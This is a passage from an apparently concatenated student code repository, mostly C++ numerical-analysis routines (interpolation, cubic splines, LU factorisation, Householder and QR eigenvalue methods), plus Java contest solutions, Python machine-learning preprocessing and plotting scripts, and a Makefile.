result; } /* a simple increasing-order mergesort implementation * modified to move the y mesh corresponding to the x mesh as the x mesh is sorted * O(n) space complexity {O(log(n)) space on the function stack for recursive calls, O(n) space to store the lists} * O(n*log(n)) time complexity * * n = size of the xmesh array * xmesh = list we wish to sort * ymesh = list related to xmesh whose relative ordering must be preserved */ void sort(int n, precision* xmesh, precision* ymesh) { if(n == 1){return;} if(n == 2) { if(xmesh[0] > xmesh[1]) { precision temp = xmesh[0]; xmesh[0] = xmesh[1]; xmesh[1] = temp; temp = ymesh[0]; ymesh[0] = ymesh[1]; ymesh[1] = temp; } return; } int m = n/2; precision left_xmesh[m], left_ymesh[m]; precision right_xmesh[n-m], right_ymesh[n-m]; for(int i = 0; i < m; i++){left_xmesh[i] = xmesh[i], left_ymesh[i] = ymesh[i];} for(int i = m; i < n; i++){right_xmesh[i-m] = xmesh[i], right_ymesh[i-m] = ymesh[i];} sort(m, left_xmesh, left_ymesh); sort(n-m, right_xmesh, right_ymesh); int i= 0, j = 0, k = 0; while(i < m && j < n-m) { if(left_xmesh[i] <= right_xmesh[j]){xmesh[k] = left_xmesh[i], ymesh[k++] = left_ymesh[i++];} else{xmesh[k] = right_xmesh[j], ymesh[k++] = right_ymesh[j++];} } for(; i < m; i++){xmesh[k] = left_xmesh[i], ymesh[k++] = left_ymesh[i];} for(; j < n-m; j++){xmesh[k] = right_xmesh[j], ymesh[k++] = right_ymesh[j];} } /* a simple binary search implementation * modified to return the greatest list element less than or equal to the point we seek * O(n) space complexity {storing the list to search through} * O(log(n)) time complexity * * n = size of the list to search * mesh = an increasingly-sorted list * x = the element we wish to find */ int search(int n, precision* mesh, precision x) { if(x < mesh[0] || x > mesh[n-1]){cout << "Your point " << x << " is not within the specified interpolation interval." << endl; return -1;} int index = (n-1)/2; while(x < mesh[index] || mesh[index+1] <= x) { if(x < mesh[index]){index = index - (index+1)/2;} else{index = index + (index+1)/2;} if(mesh[index] == x){return index;} } return index; } //d must divide n - 1 /* computes the piecewise polynomial interpolation for a given mesh of x and y values and evaluates at x * no assumptions are made about the mesh * the degree d must divide n-1; otherwise, we can not interpolate * O(n) space complexity * O(nlog(n)) + O(log(n)) time complexity {preprocessing; sort, search} * O(n^2) time complexity {evaluation using newton} * * d = the degree of each piecewise polynomial used for interpolation * n = the number of points to interpolate * xmesh = the mesh of x values * ymesh = the mesh of y values * x = the place we evaluate the polynomial */ precision piecewise(int d, int n, precision* xmesh, precision* ymesh, precision x) { sort(n, xmesh, ymesh); int index = search(n, xmesh, x); if(index == n-1){index = index-d;} else{index = index-(index%d);} precision newton_xmesh[d+1]; precision newton_ymesh[d+1]; for(int i = 0; i <= d; i++){newton_xmesh[i] = xmesh[index+i];} for(int i = 0; i <= d; i++){newton_ymesh[i] = ymesh[index+i];} return newton(d+1, newton_xmesh, newton_ymesh, x); } /* an incredible recursive algorithm to solve a linear equation involving a trilinear square matrix AM = d * algorithm found on wikipedia: https://en.wikipedia.org/wiki/Tridiagonal_matrix_algorithm * the middle diagonal of our matrix of interest is 2, so this value has been hard-coded for simplicity * O(n) space complexity * O(n) time complexity {incredible} * * n = a natural number * mu = the upper diagonal; an array of size n with n-2 populated indeces * lambda = the lower diagonal; an array of size n with n-2 populated indeces * d = the right-hand side of the linear equation; an array of size n-1 with n-2 populated indeces * M = the solution to the linear system found by the algorithm; an array of size n with n-2 populated indeces */ void thomas(int n, precision* mu, precision* lambda, precision* d, precision* M) { lambda[1] = lambda[1]/2; d[1] = d[1]/2; for(int i = 2; i < n-1; i++){lambda[i] = lambda[i]/(2-mu[i]*lambda[i-1]);} for(int i = 2; i < n; i++){d[i] = (d[i] - mu[i]*d[i-1])/(2 - mu[i]*lambda[i-1]);} M[n-1] = d[n-1]; for(int i = n-2; i > 0; i--){M[i] = d[i]-lambda[i]*M[i+1];} } /* computes the interpolating cubic splines with the given boundary conditions on a given x-y mesh evaluated at x * O(n) space complexity * O(nlog(n)) + O(log(n)) + O(n) time complexity {preprocessing; sort, search, thomas} * O(1) time complexity {evaluation} * * boundary = boolean flag; 0 for natural; 1 for first derivative hermite; 2 for second derivative hermite * mesh_size = the sizes of the meshes of x and y values * xmesh = mesh of x values * ymesh = mesh of y values * derivatives = an array of size 2 containing either [f'(a), f'(b)] or [f''(a), f''(b)] depending on the selected boundary conditions * x = the place where we evaluate */ precision spline(int boundary, int mesh_size, precision* mesh, precision* values, precision* derivatives, precision x) { int n = mesh_size - 1; sort(mesh_size, mesh, values); int index = search(mesh_size, mesh, x); if(index != n){index = index + 1;} precision d[n-1]; precision lambda[n]; precision mu[n]; precision M[n+1]; precision gamma[n]; precision gamma_tilde[n]; for(int i = 1; i < n; i++) { mu[i] = (mesh[i]-mesh[i-1])/(mesh[i+1]-mesh[i-1]); lambda[i] = (mesh[i+1]-mesh[i])/(mesh[i+1]-mesh[i-1]); d[i] = 6*((values[i+1]-values[i])/(mesh[i+1]-mesh[i])-(values[i]-values[i-1])/(mesh[i]-mesh[i-1]))/(mesh[i+1]-mesh[i-1]); } if(boundary == 0)//natural boundary conditions { M[0] = 0; M[n] = 0; } else if(boundary == 1) {//this is where i would set the first-order hermite boundary conditions... IF I HAD ANY } else {//second derivative hermite boundary conditions M[0] = derivatives[0]; M[n] = derivatives[1]; d[1] = d[1] - mu[1]*derivatives[0]; d[n-1] = d[n-1] - lambda[n-1]*derivatives[1]; } thomas(n, mu, lambda, d, M); for(int i = 1; i <= n; i++) { gamma[i-1] = (values[i] - values[i-1])/(mesh[i] - mesh[i-1]) - (mesh[i] - mesh[i-1])*(M[i] - M[i-1])/6; gamma_tilde[i-1] = values[i-1] - M[i-1]*pow(mesh[i] - mesh[i-1], 2)/6; } return M[index - 1]*pow(mesh[index] - x, 3)/(6*(mesh[index] - mesh[index-1])) + M[index]*pow(x - mesh[index-1], 3)/(6*(mesh[index] - mesh[index-1])) + gamma[index-1]*(x-mesh[index-1]) + gamma_tilde[index-1]; } int main(int argc, char* argv[]) { int n; int num_eval; int choice; precision lower; precision upper; cout << "Enter the number of mesh points: "; cin >> n; cout << "Enter how many points you wish to evaluate: "; cin >> num_eval; precision x_mesh[n]; precision y_mesh[n]; precision eval_xmesh[num_eval]; precision eval_ymesh[num_eval]; std::ifstream x_file("3_x.txt"); for(int i = 0; i < n; i++) { x_file >> x_mesh[i]; } x_file.close(); std::ifstream y_file("3_y.txt"); for(int i = 0; i < n; i++) { y_file >> y_mesh[i]; } y_file.close(); std::ifstream eval_xfile("eval_x"); for(int i = 0; i < num_eval; i++) { eval_xfile >> eval_xmesh[i]; } eval_xfile.close(); std::ifstream eval_yfile("eval_y"); for(int i = 0; i < num_eval; i++) { eval_yfile >> eval_ymesh[i]; } eval_yfile.close(); //for(int i = 0; i < num_eval; i++) //{ //eval_ymesh[i] = function1(1, eval_xmesh[i]); //} lower = x_mesh[0]; upper = x_mesh[n-1]; cout << "Enter 0 for newton, 1 for bernstein, 2 for piecewise, 3 for splines: "; cin >> choice; ofstream data; ofstream master; data.open("data"); master.open("master"); if(choice == 0) { for(int i = 0; i < num_eval; i++) { data << eval_xmesh[i] << " " << newton(n, x_mesh, y_mesh, eval_xmesh[i]) << endl; master << eval_xmesh[i] << " " << eval_ymesh[i] << endl; } } else if(choice == 1) { for(int i = 0; i < num_eval; i++) { data << eval_xmesh[i] << " " << bernstein(n, lower, upper, y_mesh, eval_ymesh[i]) << endl; master << eval_xmesh[i] << " " << eval_ymesh[i] << endl; } } else if(choice == 2) { int degree; cout << "Enter your desired degree of piecewise interpolation: "; cin >> degree; if((n-1) % degree != 0) { cout << "Your degree of interpolation is incompatible with the number of mesh points given to interpolate." << endl; return 0; } for(int i = 0; i < num_eval; i++) { data << eval_xmesh[i] << " " << piecewise(degree, n, x_mesh, y_mesh, eval_xmesh[i]) << endl; master << eval_xmesh[i] << " " << eval_ymesh[i] << endl; } } else if(choice == 3) { int boundary; cout << "Enter 0 for natural boundary conditions, 1 for 1st derivative hermite, 2 for 2nd derivative hermite: "; cin >> boundary; precision derivative[2] = {0, 0}; if(boundary == 1) { } else if(boundary == 2) { cout << "Enter the second derivative at x = " << lower << " to interpolate: "; cin >> derivative[0]; cout << "Enter the second derivative at x = " << upper << " to interpolate: "; cin >> derivative[1]; } for(int i = 0; i < num_eval; i++) { data << eval_xmesh[i] << " " << spline(boundary, n, x_mesh, y_mesh, derivative, eval_xmesh[i]) << endl;; master << eval_xmesh[i] << " " << eval_ymesh[i] << endl; } } else { cout << "Invalid choice; please try again." << endl; } data.close(); master.close(); return 0; } <file_sep># Logistic Regression for Statistical Learning A Python implementation of logistic regression for binary classification. <file_sep>// <NAME>, FIU Mathematics & Computer Science BSc // Fall 2013 // Codeforces 230: Tower of Hanoi import java.util.Scanner; import java.lang.Math; public class TowerOfHanoi { public static void main(String args[]) { Scanner scanner = new Scanner(System.in); int t[][] = new int[3][3]; for(int i = 0; i < 3; i++) for(int j = 0; j < 3; j++) t[i][j] = scanner.nextInt(); //dynamic programming approach int n = scanner.nextInt(); long dp[][][] = new long[n + 1][3][3]; /* * p: quantity rings to move * s: start peg * d: destination peg */ for(int p = 1; p <= n; p++) for(int s = 0; s < 3; s++) for(int d = 0; d < 3; d++) if(s != d) dp[p][s][d] = Math.min(dp[p-1][s][3-s-d] + t[s][d] + dp[p-1][3-s-d][d], dp[p-1][s][d] + t[s][3-s-d] + dp[p-1][d][s] + t[3-s-d][d] + dp[p-1][s][d]); System.out.println(dp[n][0][2]); } } <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <limits> #include <vector> #include <math.h> #include <time.h> #include <cmath> #include <complex> using namespace std; #include "matrix.h" //adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif const precision PI = M_PI; /* finds the in-place LU-factorization of a given matrix using various pivoting strategies * throws an exception if the divisor used to compute a Gauss transform is either 0 or has magnitude below a certain threshold * * A = an n by n matrix * partial = an integer flag indicating whether to do partial pivoting or not * complete = an integer flag indicating whether to do complete pivoting or not */ vector<vector<precision>> factor(vector<vector<precision>> A, int partial, int complete) { int n = A.size(); vector<precision> P; vector<precision> Q; for(int k = 0; k < n-1; k++) { if(partial) {//execute partial pivoting int max = k; for(int i = k+1; i < n; i++) if(abs(A[i][k]) > abs(A[max][k])) max = i; //row swap vector<precision> row_swap = A[max]; A[max] = A[k]; A[k] = row_swap; P.push_back(max); } if(complete) {//execute complete pivoting int max_r = k; int max_c = k; for(int i = k+1; i < n; i++) for(int j = k+1; j < n; j++) if(abs(A[i][j]) > abs(A[max_r][max_c])) { max_r = i; max_c = j; } //row swap vector<precision> row_swap = A[max_r]; A[max_r] = A[k]; A[k] = row_swap; for(int i = 0; i < n; i++) {//column swap precision col_swap = A[i][max_c]; A[i][max_c] = A[i][k]; A[i][k] = col_swap; } P.push_back(max_r); Q.push_back(max_c); } for(int i = k+1; i < n; i++)//compute l and write it over the first column of A if(abs(A[k][k]) < pow(10, -15))//warn the user that the pivot elements are too small throw runtime_error("\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\nERROR: PIVOT ELEMENTS ARE TOO SMALL\n///////////////////////////////"); else if(A[k][k])//if we are pivoting, this statement should never be false A[i][k] = A[i][k]/A[k][k]; else//division by 0 throw logic_error("\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\nUNABLE TO FACTOR\n////////////////"); //compute the action of l on the sub-matrix for(int i = k+1; i < n; i++) for(int j = k+1; j < n; j++) A[i][j] = A[i][j] - A[i][k] * A[k][j]; } A.push_back(P); A.push_back(Q); return A; } /* solves a linear system LUx = b with modifications for pivoting where necessary * first solves the system Ly = b * then solves the system Ux = y * * LU = the LU-factorization of PAQ, with up to two extra rows of length n-1 appended storing information about P and Q for pivoting * b = the given vector in LUx = b */ vector<precision> solve(vector<vector<precision>> LU, vector<precision> b) { int n = b.size(); if(LU[n].size())//if partial pivoting or complete pivoting were performed b = permute_P(LU[n], b); for(int i = 1; i < n; i++)//solving L*y = b for(int j = i-1; j >= 0; j--) b[i] = b[i] - LU[i][j] * b[j]; for(int i = n-1; i >= 0; i--) {//solving U*x = y for(int j = i+1; j < n; j++) b[i] = b[i] - LU[i][j] * b[j]; b[i] = b[i] / LU[i][i]; } if(LU[n+1].size())//if complete pivoting was performed b = permute_Q(LU[n+1], b); return b; } <file_sep># <NAME>, FSU Mathematics PhD # <NAME>, FSU Mathematics PhD # Applied Machine Learning Assignment 6 import re import numpy as np training_data = ["./data/gisette/gisette-train.data", "./data/dexter/dexter-train.csv", "./data/madelon/madelon-train.data"] test_data = ["./data/gisette/gisette-valid.data", "./data/dexter/dexter-valid.csv", "./data/madelon/madelon-valid.data"] training_labels = ["./data/gisette/gisette-train.labels", "./data/dexter/dexter-train.labels", "./data/madelon/madelon-train.labels"] test_labels = ["./data/gisette/gisette-valid.labels", "./data/dexter/dexter-valid.labels", "./data/madelon/madelon-valid.labels"] #MAIN DATA PROCESSING for f_train_data, f_test_data, f_train_labels, f_test_labels in zip(training_data, test_data, training_labels, test_labels): with open(f_train_data) as train, open(f_test_data) as test, open(f_train_labels) as train_labels, open(f_test_labels) as test_labels: print("Processing: " + str(f_train_data.split("/")[-1])) data = [] valid = [] data_labels = [] valid_labels = [] #INPUT DATA for line in train: data.append([float(x) for x in re.split(r'[, ]', line.strip().strip("\n"))]) for line in test: valid.append([float(x) for x in re.split(r'[, ]', line.strip().strip("\n"))]) for line in train_labels: data_labels.append([float(x) for x in re.split(r'[ ]', line.strip().strip("\n"))]) for line in test_labels: valid_labels.append([float(x) for x in re.split(r'[ ]', line.strip().strip("\n"))]) data = np.asarray(data) valid = np.asarray(valid) data_labels = np.asarray(data_labels) valid_labels = np.asarray(valid_labels) data_labels = data_labels.reshape(data_labels.shape[0]) valid_labels = valid_labels.reshape(valid_labels.shape[0]) #NORMALIZE avg = np.mean(data, axis=0) std = np.std(data, axis=0) data = (data - avg)/std data = data[:, (np.isfinite(data)).any(axis=0)] valid = (valid - avg)/std valid = valid[:, (np.isfinite(valid)).any(axis=0)] #RELABEL data_labels[data_labels != 1] = -1 valid_labels[valid_labels != 1] = -1 #OUTPUT DATA print("\t Writing normalized training data...") np.save("./data-norm/" + f_train_data.split("/")[-2] + "/" + f_train_data.split("/")[-1], data) print("\t Writing normalized validation data...") np.save("./data-norm/" + f_test_data.split("/")[-2] + "/" + f_test_data.split("/")[-1], valid) print("\t Writing training labels...") np.save("./data-norm/" + f_train_labels.split("/")[-2] + "/" + f_train_labels.split("/")[-1], data_labels) print("\t Writing validation labels...") np.save("./data-norm/" + f_test_labels.split("/")[-2] + "/" + f_test_labels.split("/")[-1], valid_labels) <file_sep>// <NAME>, FIU Mathematics & Computer Science BSc // Spring 2014 import java.util.Scanner; import java.lang.Math; public class A { public static void main(String args[]) { Scanner scanner = new Scanner(System.in); boolean[][] board = new boolean[8][8]; for(int i = 0; i < 8; i++) { char[] line = scanner.nextLine().toCharArray(); for(int j = 0; j < 8; j++) if(line[j] == '*') board[i][j] = true; else board[i][j] = false; } for(int i = 0; i < 8; i++) { for(int j = 0; j < 8; j++) { if(board[i][j]) { for(int k = 0; k < 8; k++) { if(board[k][j] && k != i) { System.out.print("invalid"); return; } if(board[i][k] && k != j) { System.out.print("invalid"); return; } } int k = 0; int l = 0; while(i + k < 8 && j + k < 8 && i + k >= 0 && j + k >= 0) { if(board[i + k][j + k] && k != 0) { System.out.print("invalid"); return; } k = k + 1; } k = 0; while(i - k >= 0 && j - k >= 0 && i - k < 8 && j - k < 8) { if(board[i - k][j - k] && k != 0) { System.out.print("invalid"); return; } k = k - 1; } k = 0; while(i + k < 8 && i + k >= 0 && j - l < 8 && j - l >= 0) { if(board[i + k][j - l] && k != 0 && l != 0) { System.out.print("invalid"); return; } k = k + 1; l = l - 1; } k = 0; l = 0; while(i - k >= 0 && i - k < 8 && j + l >= 0 && j + l < 8) { if(board[i - k][j + l] && k != 0 && l != 0) { System.out.print("invalid"); return; } k = k - 1; l = l + 1; } } } } System.out.print("valid"); } } <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <limits> #include <vector> #include <math.h> #include <time.h> #include <cmath> #include <complex> using namespace std; #include "linear_algebra.h" #include "norms.h" //adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif const precision π = M_PI; //A = A + α(x ⊗ y + (y + αβx) ⊗ x) vector<vector<precision>> householder(vector<vector<precision>> A) { int n = A.size(); for(int k = 0; k < n - 2; k++) { precision α; precision β; precision γ; precision δ; vector<precision> x; vector<precision> y; vector<precision> z; vector<vector<precision>> xyT(n-k-1); vector<vector<precision>> zxT(n-k-1); for(int i = k+1; i < n; i++) x.push_back(A[i][k]); γ = ((A[k+1][k] < 0) ? -1 : 1)*norm_L2(x); δ = x[0]*γ + pow(γ, 2); x[0] = x[0] + γ; α = -1/δ; y = product(A, x); β = inner_product(x, y); z = sum(y, scale(α*β, x)); A = sum(A, scale(α, sum(outer_product(x, y), outer_product(z, x)))); A[k+1][k] = -γ; } return A; } //⌜x d + ⌝ //|d a b | //|+ b c e| //⌞ e x⌟ vector<precision> eigenvalues(vector<vector<precision>> T, precision threshold) { int n = T[0].size(); vector<precision> Λ; for(int l = 1; l < n; l++) { while(abs(T[1][T[1].size()-l]) > threshold) { precision a = T[0][0]; precision b = T[1][0]; precision c = T[0][1]; precision d; precision e = T[1][1]; precision ρ = sqrt(pow(a, 2) + pow(b, 2)); precision γ = a/ρ; precision σ = -b/ρ; T[0][0] = γ*γ*a - 2*σ*γ*b + σ*σ*c; T[1][0] = σ*γ*a + γ*γ*b - σ*σ*b - σ*γ*c; T[0][1] = σ*σ*a + 2*σ*γ*b + γ*γ*c; T[1][1] = γ*e; precision bulge = -σ*e; for(int k = 1; k < n-l; k++) { ρ = sqrt(pow(T[1][k-1], 2) + pow(bulge, 2)); γ = T[1][k-1]/ρ; σ = -bulge/ρ; a = T[0][k]; b = T[1][k]; c = T[0][k+1]; d = T[1][k-1]; e = T[1][k+1]; T[1][k-1] = γ*d - σ*bulge; T[0][k] = γ*γ*a - 2*σ*γ*b + σ*σ*c; T[1][k] = σ*γ*a + γ*γ*b - σ*σ*b - σ*γ*c; T[0][k+1] = σ*σ*a + 2*σ*γ*b + γ*γ*c; if(k < n-2) { T[1][k+1] = γ*e; bulge = -σ*e; } } } Λ.push_back(T[0][T[0].size()-l]); } Λ.push_back(T[0][0]); return Λ; } vector<precision> EVP(vector<vector<precision>> A, precision threshold) { vector<vector<precision>> T(2); A = householder(A); for(int i = 0; i < A.size(); i++) T[0].push_back(A[i][i]); for(int i = 0; i < A.size()-1; i++) T[1].push_back(A[i+1][i]); return eigenvalues(T, threshold); } vector<vector<precision>> eigenvectors(vector<vector<precision>> A, vector<vector<precision>> G) { int n = A.size(); vector<vector<precision>> U; vector<vector<precision>> H(n); for(int i = 0; i < n; i++) for(int j = 0; j < n; j++) H[i].push_back((j == i) ? 1 : 0); for(int k = 0; k < n-2; k++) { vector<precision> x; for(int i = 0; i <= k; i++) x.push_back(0); for(int i = k+2; i < n; i++) x.push_back(A[i][k]); x[k+1] = pow(A[k+1][k], 2); for(int i = k+2; i < n; i++) x[k+1] = x[k+1] - A[i][k]; x[k+1] = x[k+1] + norm_L2(x); //incomplete due to time constraints //please read the report for an explanation } return U; } int main(int argc, char* argv[]) { int n = 6; vector<vector<precision>> A(n); A[0].push_back(4); A[1].push_back(1); A[1].push_back(2); A[2].push_back(2); A[2].push_back(0); A[2].push_back(3); A[3].push_back(-5); A[3].push_back(4); A[3].push_back(-1); A[3].push_back(1); A[4].push_back(1); A[4].push_back(5); A[4].push_back(2); A[4].push_back(5); A[4].push_back(-2); A[5].push_back(4); A[5].push_back(3); A[5].push_back(1); A[5].push_back(2); A[5].push_back(4); A[5].push_back(1); vector<precision> Λ = EVP(A, pow(10, -5)); for(int i = 0; i < n; i++) cout << Λ[i] << endl; return 0; } <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <limits> #include <vector> #include <math.h> #include <time.h> #include <cmath> #include <complex> using namespace std; #include "linear_algebra.h" #include "norms.h" #include "test_cases.h" //adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif const precision π = M_PI; //A = A + α(xyᵀ + (y + αβx)xᵀ) //RETURNS THE TRIDIAGONAL FORM OF A SYMMETRIC POSITIVE-DEFINITE MATRIX vector<vector<precision>> householder(vector<vector<precision>> A){ int n = A.size(); vector<vector<precision>> T(2); for(int k = 0; k < n - 2; k++){ precision α; precision β; precision γ; precision δ; vector<precision> x; vector<precision> y; vector<precision> z; vector<vector<precision>> xyT(n - k - 1); vector<vector<precision>> zxT(n - k - 1); for(int i = k+1; i < n; i++) x.push_back(A[i][k]); γ = ((A[k + 1][k] < 0) ? -1 : 1)*norm_L2(x); δ = x[0]*γ + pow(γ, 2); x[0] = x[0] + γ; α = -1/δ; y = product(A, x); β = inner_product(x, y); z = sum(y, scale(α*β, x)); A = sum(A, scale(α, sum(outer_product(x, y), outer_product(z, x)))); A[k + 1][k] = -γ; } for(int i = 0; i < A.size(); i++) T[0].push_back(A[i][i]); for(int i = 0; i < A.size()-1; i++) T[1].push_back(A[i + 1][i]); return T; } //FINDS THE EIGENVALUES OF A SYMMETRIC TRIDIAGONAL MATRIX UP TO SOME ERROR THRESHOLD vector<precision> eigenvalues(vector<vector<precision>> T, precision threshold){ int n = T[0].size(); vector<precision> Λ; for(int l = 1; l < n; l++){ while(abs(T[1][n - l - 1]) > threshold){ precision a = T[0][0]; precision b = T[1][0]; precision c = T[0][1]; precision d; precision e = T[1][1]; precision ρ = sqrt(pow(a, 2) + pow(b, 2)); precision γ = a/ρ; precision σ = -b/ρ; T[0][0] = γ*γ*a - 2*σ*γ*b + σ*σ*c; T[1][0] = σ*γ*a + γ*γ*b - σ*σ*b - σ*γ*c; T[0][1] = σ*σ*a + 2*σ*γ*b + γ*γ*c; T[1][1] = γ*e; precision bulge = -σ*e; for(int k = 1; k < n - l; k++){ ρ = sqrt(pow(T[1][k - 1], 2) + pow(bulge, 2)); γ = T[1][k - 1]/ρ; σ = -bulge/ρ; a = T[0][k]; b = T[1][k]; c = T[0][k + 1]; d = T[1][k - 1]; e = T[1][k + 1]; T[1][k - 1] = γ*d - σ*bulge; T[0][k] = γ*γ*a - 2*σ*γ*b + σ*σ*c; T[1][k] = σ*γ*a + γ*γ*b - σ*σ*b - σ*γ*c; T[0][k + 1] = σ*σ*a + 2*σ*γ*b + γ*γ*c; if(k < n - 2){ T[1][k + 1] = γ*e; bulge = -σ*e; } } } Λ.push_back(T[0][T[0].size() - l]); } Λ.push_back(T[0][0]); return Λ; } int main(int argc, char* argv[]){ srand(time(NULL)); int n = 6; precision threshold = pow(10, -5); cout << "Random Eigenvalues with Random Orthonormal Basis:" << endl; vector<vector<precision>> Λ = eigenmatrix(n); vector<vector<precision>> Q = gram_schmidt(n); vector<vector<precision>> A = product(product(Q, Λ), transpose(Q)); for(int i = 0; i < n - 1; i++) A[i].erase(A[i].begin() + i + 1, A[i].begin() + n); cout << "Λ = " << endl; print_matrix(Λ); cout << "A = QΛQᵀ = " << endl; print_matrix(A); cout << "Computed eigenvalues of A:" << endl; print_vector(eigenvalues(householder(A), threshold)); cout << "---------------------------------------------" << endl << endl; cout << "Random symmetric tridiagonal Toeplitz matrix:" << endl; //vector<vector<precision>> T = generate_toeplitz_tri(n); vector<vector<precision>> T = { {6, 6, 6, 6, 6, 6}, {7, 7, 7, 7, 7} }; print_matrix(T); cout << "Eigenvalues from formula:" << endl; for(int k = n; k > 0; k--) cout << "λ" << k << ": " << T[0][0] + 2*T[1][0]*cos(k*π/(n + 1)) << endl; cout << endl; cout << "Eigenvalues computed:" << endl; vector<precision> ΛT = eigenvalues(T, threshold); sort(ΛT.begin(), ΛT.end()); print_vector(ΛT); return 0; } <file_sep>import math import numpy as np import seaborn as sns import matplotlib.pyplot as plt from scipy.stats import norm sns.set(style='ticks', palette='Set2') π = np.pi sin = np.sin cos = np.cos def graph_sphere_plane(filename): r = 1 φ, θ = np.mgrid[0.0:π:100j, 0.0:2.0*π:100j] x = r*sin(φ)*cos(θ) y = r*sin(φ)*sin(θ) z = r*cos(φ) a, b, c, d = 0, 0, 1, 0 X = np.linspace(-1, 1, 10) Y = np.linspace(-1, 1, 10) X, Y = np.meshgrid(X, Y) Z_3 = (-0.75 - a*X - b*Y)/c Z_2 = (-0.5 - a*X - b*Y)/c Z_1 = (-0.25 - a*X - b*Y)/c Z0 = (0 - a*X - b*Y)/c Z1 = (0.25 - a*X - b*Y)/c Z2 = (0.5 - a*X - b*Y)/c Z3 = (0.75 - a*X - b*Y)/c fig = plt.figure() ax = fig.add_subplot(111, projection='3d') ax.plot_surface(x, y, z, rstride=1, cstride=1, alpha=0.7, linewidth=0) ax.plot_surface(X, Y, Z_3, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.plot_surface(X, Y, Z_2, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.plot_surface(X, Y, Z_1, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.plot_surface(X, Y, Z0, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.plot_surface(X, Y, Z1, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.plot_surface(X, Y, Z2, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.plot_surface(X, Y, Z3, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.contour(x, y, z, alpha=1) plt.savefig('../figures/' + filename + '.pdf', format='pdf', dpi=1000, bbox_inches='tight') def graph_normal(data1, data2, mean, std, filename): fig, ax = plt.subplots() xmin = np.min([np.min(data1), np.min(data2)]) xmax = np.max([np.max(data1), np.max(data2)]) x = np.linspace(xmin, xmax, 200) y = norm.pdf(x, mean, std) z1 = norm.pdf(x, np.mean(data1), np.std(data1)) z2 = norm.pdf(x, np.mean(data2), np.std(data2)) ax.plot(x, y, label=r'$\mathcal{N}(0, 1)$') ax.plot(x, z1, label='MarsagliaSample') ax.plot(x, z2, label='AntitheticSample') legend = ax.legend(loc='best') plt.savefig('../figures/' + filename + '.pdf', format='pdf', dpi=1000, bbox_inches='tight') data8_1 = [-0.623137, 0.11398, -0.623137, -2.14955, -1.51021, -1.40924, 1.44578, 2.26981, 4.3577, 6.11874, 5.70193, 6.068, 6.65802, 8.72204, 7.45114, 7.96403] data8_2 = [0.572388, 0.441094, 0.572388, -1.01789, -1.27285, -2.61051, -2.25728, -1.48246, 0.96338, 1.13852, 0.96338, 1.87546, 1.11724, 1.16837, 1.04909, 1.25388] data10_1 = [-1.44206, -1.00632, -1.44206, -2.73681, -2.11529, -1.46554, 0.394395, 0.467234, 0.345231, 0.7608, 0.540328, 0.266629, 1.58542, 3.00233, 3.11231, 3.44401, 4.1442, 3.57456, 4.72686, 5.39585] data10_2 = [1.16826, 0.981416, 1.16826, 0.42457, 1.24968, 1.21038, 1.57343, 2.36519, 2.35969, 2.14284, -2.15624, -2.15696, -2.15624, -2.15569, -2.15796, -2.15763, -2.16024, -2.15963, -2.15851, -2.15708] data20_1 = [-0.271842, 0.562998, -0.271842, 0.375009, 0.159457, -1.63881, -3.70714, -2.90141, -3.65962, -2.90485, -3.78523, -2.73462, -2.51102, -2.53937, -0.795555, 0.0129465, 0.387947, 0.475, 1.05713, 2.13523, 1.2418, 1.32411, 0.642432, 0.0638055, -0.85537, -1.15261, -0.575869, 0.43004, 0.953137, 0.495757, 0.693261, 1.21181, 2.24134, 3.22742, 4.5665, 5.33383, 5.13882, 4.56222, 4.13398, 4.74401] data20_2 = [0.0453444, -0.108021, 0.0453444, 0.581295, -1.66567, -1.63554, -2.28179, -1.2425, -0.951559, -0.869593, -0.306462, 0.611038, 1.25969, 0.318716, -0.191979, 0.792859, 2.4916, 2.66014, 2.8549, 2.24325, -0.784025, -0.810065, -0.784025, -0.785639, -0.794555, -0.793294, -0.778385, -0.796171, -0.797971, -0.806677, -0.793038, -0.779247, -0.784471, -0.772799, -0.768327, -0.756983, -0.748037, -0.7385, -0.734287, -0.734197] mean = 0 std = 1 graph_normal(data20_1, data20_2, mean, std, 'normal') <file_sep>all: a.out clean a.out: code.o linear-algebra.o norms.o g++ -std="c++11" -o a.out code.o linear-algebra.o norms.o code.o: code.cpp g++ -std="c++11" -c code.cpp linear-algebra.o: linear-algebra.cpp g++ -std="c++11" -c linear-algebra.cpp norms.o: norms.cpp g++ -std="c++11" -c norms.cpp clean: rm *.o <file_sep># <NAME>, FSU Mathematics PhD # <NAME>, FSU Mathematics PhD # Applied Machine Learning Assignment 10 from __future__ import print_function import random import numpy as np import matplotlib.pyplot as plt from sklearn.mixture import GaussianMixture #PARAMETERS FOR THE SCIKITLEARN GAUSSIAN MIXTURE MODEL #---N_COMPONENTS:------NUMBER OF CLUSTERS | DEFAULT: 1 #---COVARIANCE_TYPE:---'full' MEANS EVERY CLUSTER HAS ITS OWN INDEPENDENT COVARIANCE MATRIX | DEFAULT: 'full' #---TOL:---------------TOLERANCE FOR CONVERGENCE | DEFAULT: 1e-3 #---MAX_ITER:----------EM ALGORITHM WILL RUN FOR max_itr ITERATIONS UNTIL CONVERGENCE | DEFAULT: 100 #---N_INIT:------------NUMBER OF INITIALIZATIONS TO PERFORM, KEEPING ONLY THE BEST RESULTS | DEFAULT: 1 #---INIT_PARAMS:-------HOW TO INITIALIZE THE WEIGHTS, MEANS, AND VARIANCES | DEFAULT: 'kmeans' #---WEIGHTS_INIT:------USER PROVIDES WEIGHTS FOR EACH CLUSTER 